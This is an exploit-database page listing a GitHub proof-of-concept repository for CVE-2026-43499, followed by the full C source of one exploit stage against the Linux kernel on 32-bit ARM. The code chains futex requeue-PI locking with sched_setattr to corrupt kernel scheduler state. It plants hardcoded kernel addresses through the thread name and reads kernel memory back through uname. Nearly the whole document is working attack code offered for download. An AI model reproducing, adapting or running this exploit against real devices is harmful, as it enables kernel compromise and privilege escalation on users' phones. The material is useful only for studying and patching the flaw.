Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock_oppo18f.c

C · 4,940 bytes
/* go18f: pinpoint where sched_setattr chain hangs. Live stdout markers.
 * Build: arm-linux-gnueabihf-gcc -static -O2 -o go18f ghostlock_oppo18f.c -lpthread
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <linux/futex.h>
#include <time.h>

#ifndef SYS_sched_setattr
#define SYS_sched_setattr 380
#endif
#define PR_SET_NAME 15
#define PR_GET_NAME 16
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_WAKE
#define FUTEX_WAKE 1
#endif

#define INIT_TASK 0xc1b11640u
#define FAKE_LOCK 0xc1b11484u
#define NODE_OFF  0x1f

struct sched_attr {
    uint32_t size, sched_policy;
    uint64_t sched_flags;
    int32_t sched_nice;
    uint32_t sched_priority;
    uint64_t sched_runtime, sched_deadline, sched_period;
};

static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting, b_started;
static volatile int consume, stamp_ready, deadlock_seen;
static unsigned char stamp_phase1[16];
struct old_ts32 { int32_t tv_sec, tv_nsec; };

static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
#define P(...) do{printf(__VA_ARGS__);}while(0)

static void *waiter_thread(void *arg){
    struct timespec now; struct old_ts32 ts; unsigned char get[17]; (void)arg;
    a_tid=(int)syscall(SYS_gettid);
    P("[W] tid=%d\n",a_tid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.tv_sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.tv_nsec=(int32_t)(ns%1000000000);
    a_waiting=1;
    long wr=syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
    P("[W] futex returned %ld errno=%d\n",wr,errno);
    while(!deadlock_seen){ __asm__ volatile("":::"memory"); }
    consume=1;
    P("[W] about to prctl SET_NAME\n");
    long pr=syscall(SYS_prctl,PR_SET_NAME,stamp_phase1,0,0,0);
    P("[W] prctl SET_NAME=%ld errno=%d\n",pr,errno);
    memset(get,0,sizeof(get));
    syscall(SYS_prctl,PR_GET_NAME,get,0,0,0);
    P("[W] getname=");
    for(int i=0;i<16;i++) P("%02x",get[i]);
    P("\n");
    stamp_ready=1;
    P("[W] stamp_ready=1, pure spinning\n");
    for(;;){ __asm__ volatile("":::"memory"); }
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg;
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    long r=pi_lock(&f_pi_chain);
    P("[O] 2nd LOCK_PI=%ld errno=%d (blocked ok)\n",r,errno);
    for(;;) pause();
    return NULL;
}
static void *consumer_thread(void *arg){
    struct sched_attr attr; (void)arg;
    memset(&attr,0,sizeof(attr));
    attr.size=sizeof(attr); attr.sched_policy=3; attr.sched_nice=19;
    while(!a_tid) usleep(1000);
    while(!consume||!stamp_ready) usleep(2000);
    P("[C] calling sched_setattr(tid=%d)...\n",a_tid);
    errno=0;
    long r=syscall(SYS_sched_setattr,a_tid,&attr,0);
    P("[C] sched_setattr RETURNED %ld errno=%d\n",r,errno);
    for(;;) pause();
    return NULL;
}

int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    P("=== go18f markers ===\n");
    uint32_t task=INIT_TASK, lock=FAKE_LOCK, prio=0x01010101u, pad=0x01010101u;
    memcpy(stamp_phase1+0,&task,4);
    memcpy(stamp_phase1+4,&lock,4);
    memcpy(stamp_phase1+8,&prio,4);
    memcpy(stamp_phase1+12,&pad,3);
    stamp_phase1[15]=0;
    for(int i=0;i<15;i++) if(!stamp_phase1[i]){P("NUL %d\n",i);_exit(2);}

    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,owner_thread,NULL);
    usleep(10000);
    pthread_create(&th,&attr,consumer_thread,NULL);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!a_waiting||!b_started) usleep(1000);

    int got=0;
    for(int i=0;i<220;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        int e=errno;
        if(r<0&&e==35){got=1;break;}
        if(r>0) break;
        usleep(5000);
    }
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    P("[M] EDEADLK=%d\n",got);

    for(int rep=0;rep<120;rep++){
        usleep(100000);
        struct utsname u; memset(&u,0,sizeof(u));
        if(uname(&u)==0){
            unsigned char *p=(unsigned char*)u.nodename;
            P("[M] rb%03d c=%d sr=%d | %08x %08x %08x %08x\n",
                rep,consume,stamp_ready,
                *(uint32_t*)(p+NODE_OFF),*(uint32_t*)(p+NODE_OFF+4),
                *(uint32_t*)(p+NODE_OFF+8),*(uint32_t*)(p+NODE_OFF+0xc));
        }
    }
    for(;;){ __asm__ volatile("":::"memory"); }
    return 0;
}